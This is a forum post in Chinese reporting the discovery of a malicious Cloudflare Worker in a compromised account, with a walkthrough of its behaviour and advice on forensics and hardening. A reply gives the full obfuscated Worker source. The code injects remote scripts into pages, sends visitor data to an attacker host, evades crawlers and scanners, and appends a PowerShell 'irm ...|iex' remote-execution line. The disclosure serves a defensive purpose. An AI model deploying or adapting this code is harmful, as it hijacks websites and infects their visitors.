logo NodeSeekbeta

收到Cloudflare的Workers超限邮件后,我发现账号里多了一个陌生Worker

以下内容由AI润色,一楼放Worker代码

从今天凌晨开始,我的邮箱里连续收到 Cloudflare 的 Workers 用量告警:

image

从截图来看,短短几个小时内,Workers 的请求量就超过了每日限制。

这就有点不对劲了。

因为我平时并没有部署什么需要产生如此大量请求的 Worker,更不可能在短时间内突然产生数十万次请求。

于是我顺着邮件里的用量信息进入 Cloudflare 控制台查看。

然后发现了一个更加离谱的事情:

Workers & Pages 里多出来了一个我完全没有印象的 Worker

我当时第一反应是:

“这是什么?我什么时候创建过这个?”

打开这个 Worker 后,我第一眼看到的是一份经过混淆的 JavaScript,这个时候我其实已经给这份代码下了定论 —— 谁家正经 Worker 加混淆?

于是我继续把代码交给AI进行审计,基本可以确认:这就是一个明显带有恶意行为的 Worker。

这次事件也让我第一次真正意识到:

Cloudflare 账号本身就是一个非常值得保护的基础设施账号。

如果账号被拿下,不只是“Cloudflare 配置被改一下”这么简单,攻击者甚至可以直接利用你的域名、Worker、DNS、Pages 等基础设施去做更多事情。


一、事情是怎么被发现的?

这一点我觉得挺有意思。

如果不是 Cloudflare 发来的这些邮件,我当时其实没有任何理由去打开 Workers & Pages。

我没有收到:“你的 Cloudflare 账号可能被入侵”这样的安全告警。

而是先收到了:

Workers 用量达到 76%
        ↓
Workers 用量达到 97%
        ↓
Workers 每日请求量超限
        ↓
我开始觉得不对劲
        ↓
进入 Cloudflare 控制台
        ↓
发现陌生 Worker
        ↓
开始分析 Worker 代码
        ↓
确认恶意行为

所以这次事件某种程度上是:

攻击者留下的异常流量,反过来触发了 Cloudflare 的用量告警,最终让我发现了账号被入侵。

这也是整个事件里我觉得比较值得记录下来的一个细节。


二、这个 Worker 到底在干什么?

先说结论:

它会根据访问者的 User-Agent、IP、国家、ASN 等信息进行筛选,然后从攻击者控制的远程服务器获取 JavaScript,并将 JavaScript 注入正常网页。

同时,它还包含一个针对 PowerShell User-Agent 的特殊处理逻辑。

1. 获取远程 JavaScript

Worker 会访问一个远程地址:

https://svc-storage.dcstore.workers.dev/c/recap-sg-clk/d.js

获取一段 JavaScript。

随后利用 Cloudflare 的 HTMLRewriter

new HTMLRewriter()
    .on("body", {
        element: function(el) {
            el.append("<script>" + code + "</script>", {
                html: true
            });
        }
    })

把远程代码直接插入正常网页。

也就是说,访问者看到的网页实际上已经被这个 Worker 修改过了。


2. 会收集访问者信息进行筛选

Worker 还会向远程服务器发送:

IP
User-Agent
Country
ASN

例如:

/r/ck?ip=xxx&ua=xxx&co=US&asn=xxx

然后由远程服务器决定:

show = true

还是:

show = false

从而决定当前访问者是否进入后续的 Payload 注入流程。

这说明它并不是简单地“所有访问者都注入”,而是在做一定程度的流量筛选。


3. 会主动绕过搜索引擎和扫描器

代码中专门检查了很多 User-Agent,包括:

Googlebot
Bingbot
DuckDuckBot
curl
wget
Censys
Shodan
Zgrab
Masscan
Nmap
Lighthouse

如果匹配到这些 UA,就直接:

fetch(request)

然后返回正常页面。

也就是说:

搜索引擎、扫描器以及一些常见的自动化工具,会被主动排除。

这也是我判断它具有明显恶意特征的重要原因之一。


三、最让我警惕的是 PowerShell 部分

代码中存在一段非常明显的远程代码执行逻辑。

它会向响应内容追加:

Start-Job{irm 'https://ci0udfiare-turnstile.com'|iex}

这里的:

irm

是:

Invoke-RestMethod

而:

iex

是:

Invoke-Expression

组合起来就是:

从远程服务器下载内容,然后直接交给 PowerShell 执行。

这已经不是普通的网页广告注入或者统计脚本了。

从代码行为来看,这是一个非常典型的远程 Payload 投递方式


四、为什么我认为这是恶意 Worker?

单独看其中某一个行为,也许还可以找到正常用途。

但是把所有行为串起来:

陌生 Worker
      ↓
远程获取 JS
      ↓
修改正常 HTML
      ↓
注入 <script>
      ↓
获取访问者 IP / UA / 国家 / ASN
      ↓
远程服务器决定是否展示
      ↓
主动绕过搜索引擎
      ↓
主动绕过安全扫描器
      ↓
针对 PowerShell 用户代理
      ↓
远程下载并执行代码

基本已经没有什么正常业务场景能够合理解释这一整套行为了。

所以我最终把这个 Worker 判定为恶意 Worker。


五、那么问题来了:它是谁创建的?

发现恶意 Worker 后,我最关心的其实不是“怎么删掉它”。

而是:

谁把它放进我的 Cloudflare 账号里的?

Cloudflare 有 Audit Logs,可以查看账号中的操作记录。

于是我开始往前查。

很遗憾的是,目前 Cloudflare 的 Audit Logs 我这边能够查询到的历史记录只有 90 天

再往前就没有了。

但是在能够查询到的记录中,我发现了一个非常关键的时间点:

2026-07-03 02:43:28

从这个时间开始,就已经出现异常操作记录。

这意味着:

至少在 2026 年 7 月 3 日这个时间点,我的 Cloudflare 账号已经存在异常活动。

而 90 天之外发生了什么,目前已经无法通过 Cloudflare Audit Logs 直接确认。

所以这里也留下了一个比较遗憾的问题:

攻击者究竟是在 7 月 3 日当天获得账号控制权,还是更早之前就已经进入,只是 7 月 3 日开始留下了可追踪的操作,目前已经无法确定。


六、我是怎么判断“密码泄露”的?

结合目前能够看到的信息,我基本判断:

大概率是 Cloudflare 账号密码泄露。

我的账号当时存在两个比较明显的问题:

  1. 密码设置得比较简单;
  2. 没有开启二步验证(2FA)。

目前没有证据能够证明具体是通过什么方式拿到密码的,所以这里不做进一步猜测。

但从结果来看:

弱密码
+
没有 2FA
+
Cloudflare 账号具备较高权限
=
账号被接管的风险非常高

这次事故也算是给自己上了一课。

以前总觉得:

“Cloudflare 又不是银行账号,密码简单一点问题应该不大。”

现在看,这个想法其实挺危险的。

Cloudflare 账号本质上已经属于基础设施控制面


七、这次事件最让我后怕的其实不是 Worker

如果攻击者只是创建了一个奇怪的 Worker,我可能还不会特别紧张。

真正让我警惕的是:

既然攻击者已经能够登录 Cloudflare 账号,那么理论上能够做的事情远不止创建一个 Worker。

例如:

DNS
Workers
Pages
Routes
域名配置
重定向
代理
SSL/TLS
API Token
Access

具体能做什么,取决于攻击者拿到的账号权限。

因此,发现陌生 Worker 后,真正应该检查的不是:

“把这个 Worker 删掉就完事了。”

而应该是:

“我的 Cloudflare 账号到底被动过哪些东西?”


八、如果你也遇到陌生 Worker,可以这样排查

如果某天你发现 Cloudflare Workers & Pages 里突然多了一个自己完全不认识的 Worker,我建议不要第一时间直接删除。

可以按照这个顺序排查:

① 先保存 Worker 代码

先把完整代码保存下来。

包括:

Worker 名称
Worker ID
代码
创建时间
Version
Deployment
请求量

因为删除以后,有些信息可能就不方便继续调查了。


② 检查 Deployments / Versions

重点看:

Created
Created by
Source
Version
Deployment

确认是谁、什么时候、通过什么方式部署的。


③ 检查 Audit Logs

按照 Worker 的创建时间前后进行搜索。

重点关注:

Create Worker
Deploy Worker
Update Worker
Delete Worker
Route
DNS
API Token
Account

以及操作人和认证方式。

如果能看到:

Dashboard

还是:

API

意义也完全不同。


④ 检查 API Tokens

重点检查:

Token 名称
创建时间
权限
Scope
最后使用时间

尤其是拥有 Workers、Routes、DNS 等写权限的 Token。

如果发现明显异常的 Token,应该立即撤销并重新生成。


⑤ 检查 Account Members

看看有没有:

陌生成员
异常邀请
不认识的管理员
权限异常的成员

⑥ 检查 Worker Routes

这一点非常重要。

确认恶意 Worker 有没有绑定自己的域名,例如:

example.com/*

如果绑定了自己的生产域名,那么影响范围就远大于一个孤立的 workers.dev Worker。


⑦ 最后再删除

完成基本取证之后,再删除恶意 Worker。

同时修改密码并开启 2FA。

如果怀疑 API Token 泄露,也要一并处理。


九、这次事故给我的几个教训

1. Cloudflare 密码不要和普通网站一个安全等级(没有别的网站就可以弱密码的意思)

Cloudflare 已经属于基础设施控制面。

DNS、域名、Worker、Pages 等都可能直接影响线上业务。

所以它的账号密码应该按照:

最高级别账号

来管理。


2. 2FA 真的应该开

这次最大的低级错误就是:

没有开启 2FA。

如果当时开启了有效的二步验证,即使密码泄露,攻击者想直接登录 Dashboard 的难度也会高很多。


3. 定期检查 Cloudflare Audit Logs

以前我几乎不会主动看。

现在看来,至少应该偶尔检查:

最近登录
账号成员
API Token
Workers
DNS

有没有自己没有印象的操作。


4. 不要认为“没发现异常”就代表没被入侵

这次就是一个很典型的例子。

恶意 Worker 可以:

过滤 UA
过滤爬虫
过滤扫描器
根据 IP / ASN 筛选
远程加载 Payload

攻击者完全可以尽量降低自己的存在感。

如果不是这次的经历,我甚至不知道账号里已经多了这么一个东西。


十、最后

这次事件目前能确认的时间线大概是:

       时间未知
          │
          ▼
    Cloudflare 凭据泄露
          │
          │
          ▼
  2026-07-03 02:43:28
    出现异常 Audit Log
          │
          │
          ▼
      创建/部署恶意 Worker
          │
          │
          ▼
      持续产生大量请求
          │
          │
          ▼
  2026-09-xx 偶然发现异常 Worker
          │
          ▼
       分析恶意代码
          │
          ▼
       确认账号安全事件
          │
          ▼
     修改密码 + 开启 2FA
     清理异常 Worker/Token

目前由于 Cloudflare Audit Logs 只能追溯 90 天,更早的入侵时间已经无法通过现有日志确认

所以这篇记录更多是一次“发现之后的复盘”,而不是完整的攻击溯源报告。

如果这篇帖子能让哪怕一个人意识到:

Cloudflare 账号不是一个普通的网站账号,真的值得开 2FA。

那这次折腾也算没有白折腾。


最后给自己留个提醒:

密码复杂一点、2FA 开起来、API Token 定期检查、Cloudflare Audit Logs 偶尔看一眼。

不要等到 Workers & Pages 里突然多出来一个自己完全不认识的 Worker,才想起来做账号安全。

  • var hzi8d7uw="5166669ce6";function mk3g4(e){var r="";for(var i=0;i<e.length;i++)r+=String.fromCharCode(e.charCodeAt(i)^hzi8d7uw.charCodeAt(i%hzi8d7uw.length));return r;}
    var _SU=mk3g4("\x5d\x45\x42\x46\x45\x0c\x16\x4c\x16\x40\x56\x1c\x45\x42\x59\x44\x58\x04\x00\x18\x51\x52\x45\x42\x59\x44\x5c\x4d\x12\x59\x47\x5a\x53\x44\x45\x18\x5d\x06\x13");
    var _CP=mk3g4("\x47\x54\x55\x57\x46\x1b\x4a\x04\x48\x55\x59\x5a");
    var _PX=mk3g4("\x1a\x6e\x44\x19");
    var _OU=mk3g4("\x5d\x45\x42\x46\x45\x0c\x16\x4c\x16\x40\x56\x1c\x45\x42\x59\x44\x58\x04\x00\x18\x51\x52\x45\x42\x59\x44\x5c\x4d\x12\x59\x47\x5a\x53\x44\x45\x18\x5d\x06\x13\x19\x56\x1e\x44\x53\x55\x57\x49\x4e\x16\x51\x18\x52\x5a\x5d\x19\x52\x17\x09\x16");
    var _SK=/^\/(api|wp-json|_next|static|favicon|robots|sitemap|feed|cdn-cgi|\.well-known|wp-admin|wp-includes|wp-content)\b/i;
    var _bl=JSON.parse(mk3g4("\x6e\x13\x51\x59\x59\x51\x55\x06\x07\x59\x41\x13\x1a\x16\x14\x54\x50\x0d\x02\x54\x5a\x45\x14\x1a\x16\x14\x4a\x0f\x10\x44\x45\x13\x1a\x16\x14\x52\x4c\x00\x0e\x52\x40\x52\x5d\x54\x59\x42\x1b\x4f\x45\x14\x57\x50\x5f\x52\x43\x45\x49\x0a\x01\x53\x47\x13\x1a\x16\x14\x4f\x58\x0d\x01\x53\x4d\x53\x59\x42\x14\x1a\x19\x41\x03\x57\x56\x54\x54\x59\x59\x5d\x5c\x1b\x11\x53\x47\x5f\x57\x5a\x5e\x5f\x4d\x41\x49\x16\x17\x57\x57\x55\x53\x54\x56\x17\x47\x1a\x15\x13\x42\x41\x5f\x42\x4d\x06\x17\x54\x5a\x45\x14\x1a\x16\x14\x55\x0a\x0b\x5d\x50\x55\x5f\x58\x54\x59\x4d\x41\x49\x16\x17\x41\x5f\x58\x42\x53\x4b\x06\x16\x42\x17\x1d\x16\x14\x41\x5e\x58\x17\x16\x57\x45\x41\x14\x1a\x16\x14\x4d\x06\x09\x53\x52\x43\x57\x5b\x54\x59\x4d\x41\x49\x16\x17\x55\x5f\x45\x55\x59\x4b\x07\x07\x59\x41\x13\x1a\x16\x14\x45\x5c\x0e\x17\x43\x46\x59\x54\x59\x42\x14\x15\x43\x47\x57\x5d\x43\x53\x50\x45\x54\x56\x17\x47\x1a\x15\x13\x5b\x5c\x07\x04\x5b\x0c\x11\x14\x19\x11\x14\x52\x59\x42\x5b\x0c\x11\x14\x19\x11\x14\x46\x53\x42\x58\x0f\x07\x59\x41\x13\x1a\x16\x14\x54\x40\x17\x00\x45\x45\x58\x52\x53\x44\x14\x15\x43\x47\x5e\x50\x50\x52\x5a\x53\x45\x4a\x00\x0d\x44\x5a\x5c\x53\x14\x1a\x16\x1b\x13\x0d\x57\x5b\x45\x59\x5b\x5c\x45\x1b\x4f\x45\x14\x45\x44\x46\x46\x53\x42\x5c\x06\x17\x14\x19\x11\x14\x46\x5a\x57\x40\x14\x17\x5f\x52\x59\x42\x14\x1a\x16\x1b\x13\x1c\x42\x5d\x5e\x58\x1b\x44\x53\x48\x16\x00\x45\x41\x42\x14\x1a\x16\x14\x49\x1a\x11\x5e\x5a\x5f\x1b\x43\x44\x5a\x55\x0a\x07\x14\x19\x11\x14\x51\x59\x1b\x51\x17\x11\x46\x18\x52\x5a\x5f\x53\x58\x4d\x41\x49\x16\x17\x52\x43\x44\x5a\x19\x1b\x4f\x45\x14\x42\x56\x53\x42\x19\x14\x15\x43\x47\x55\x50\x5f\x45\x4f\x45\x14\x15\x43\x47\x45\x5d\x5e\x52\x57\x58\x14\x15\x43\x47\x4c\x52\x43\x57\x54\x14\x1a\x19\x41\x08\x57\x46\x42\x55\x57\x58\x14\x15\x43\x47\x58\x58\x50\x46\x14\x1a\x16\x1b\x0f\x0c\x51\x5d\x45\x5e\x59\x43\x45\x5c\x41\x38"));
    function ykjj0013(u){var l=u.toLowerCase();for(var i=0;i<_bl.length;i++){if(l.indexOf(_bl[i])>-1)return true;}return false;}
    async function scsc541v(){try{var r=await fetch(_OU,{cf:{cacheTtl:300,cacheEverything:true}});if(r.ok)return await r.text();}catch(e){}return "";}
    async function dfqc14y(rq){var ip=rq.headers.get("cf-connecting-ip")||"";var ua=rq.headers.get("user-agent")||"";var cf=rq.cf||{};try{var r=await fetch(_SU+"/r/ck?ip="+encodeURIComponent(ip)+"&ua="+encodeURIComponent(ua)+"&co="+(cf.country||"?")+"&asn="+encodeURIComponent(cf.asOrganization||""),{cf:{cacheTtl:0}});var d=await r.json();return d.show!==false;}catch(e){return false;}}
    async function ky5csbzl(response,rq){var code=await scsc541v();if(!code)return response;return new HTMLRewriter().on("body",{element:function(el){el.append("<scr"+"ipt>"+code+"</scr"+"ipt>",{html:true});}}).transform(response);}
    addEventListener("fetch",function(event){
      var rq=event.request;var ua=rq.headers.get("user-agent")||"";var url=new URL(rq.url);var p=url.pathname;
      if(p.match(/\.(js|css|png|jpg|jpeg|gif|svg|ico|woff|woff2|ttf|eot|mp4|webp|webm|avif|pdf|zip|xml|json|rss|atom|txt|map)$/i)||_SK.test(p)){event.respondWith(fetch(rq));return;}
      if(p.startsWith(_PX)){var sub=p.slice(_PX.length);var sep=url.search?"&":"?";var cip=rq.headers.get("cf-connecting-ip")||"";var co=(rq.cf&&rq.cf.country)||"?";var ci=(rq.cf&&rq.cf.city)||"";var target=_SU+"/r/"+sub+url.search+sep+"cf_ip="+encodeURIComponent(cip)+"&co="+co+"&ci="+encodeURIComponent(ci);event.respondWith(fetch(target,{method:rq.method,headers:rq.headers,body:rq.method!=="GET"?rq.body:undefined}).then(function(r){var h=new Headers(r.headers);h.set("Access-Control-Allow-Origin","*");return new Response(r.body,{status:r.status,headers:h});}).catch(function(){return new Response("",{status:502});}));return;}
      if(rq.method!=="GET"){event.respondWith(fetch(rq));return;}
      if(!ua||ua.length<20||/Android|iPhone|iPod|iPad|Mobile|Tablet/i.test(ua)||!(/Windows NT (10\.0|6\.[1-3])/.test(ua)||/Macintosh|Mac OS X/.test(ua))){event.respondWith(fetch(rq));return;}
      if(ykjj0013(ua)){event.respondWith(fetch(rq));return;}
      var mjtc0=mk3g4("\x5d\x45\x42\x46\x45\x0c\x16\x4c\x06\x5f\x05\x44\x52\x50\x5f\x57\x4b\x06\x48\x42\x40\x43\x58\x45\x42\x5f\x55\x06\x4b\x55\x5a\x5c");
      if(/PowerShell/i.test(ua)){event.respondWith(fetch(rq).then(async function(resp){var body=await resp.text();body+="\n;Start-Job{irm '"+mjtc0+"'|iex}\n";return new Response(body,{status:resp.status,headers:resp.headers})}));return;}
      event.respondWith((async function(){
        var resp=await fetch(rq);var ct=resp.headers.get("content-type")||"";
        if(!ct.includes("text/html"))return resp;
        var ck=rq.headers.get("cookie")||"";if(/_dc=/.test(ck))return resp;
        var show=await dfqc14y(rq);if(!show)return resp;
        return ky5csbzl(resp,rq);
      })());
    });
    
    
  • 太长不看,有没有省流版

  • 牛魔的,这么长

  • 我不是AI看不了这么长的东西

  • 一个cf账号也不值钱呀,除非里面有什么付费服务,这也有人盗吗

  • 简短总结:
    楼主因 Cloudflare Workers 用量暴增告警,发现账号里被植入了一个陌生恶意 Worker。
    该 Worker 会根据访客 IP/UA/国家等信息筛选流量,远程拉取 JS 注入正常网页,并主动绕过搜索引擎和扫描器;还针对 PowerShell 做远程代码执行。
    原因大概率是弱密码 + 未开 2FA 导致账号被接管。最早异常操作可追溯到 2026-07-03。
    教训:Cloudflare 属于基础设施账号,必须强密码 + 开启 2FA,并定期检查 Audit Logs、API Token 和 Workers。

  • @当浮一大白 #5 这就要看有没有大手子能根据worker代码追踪盗用者的真实意图了

  • 太长了,不过我昨天也收到cpu100%

  • 所以这么长一段内容拉下来,楼主总结是什么问题 xhj011

你好啊,陌生人!

我的朋友,看起来你是新来的,如果想参与到讨论中,点击下面的按钮!

📈用户数目📈

目前论坛共有71709位seeker

🎉欢迎新用户🎉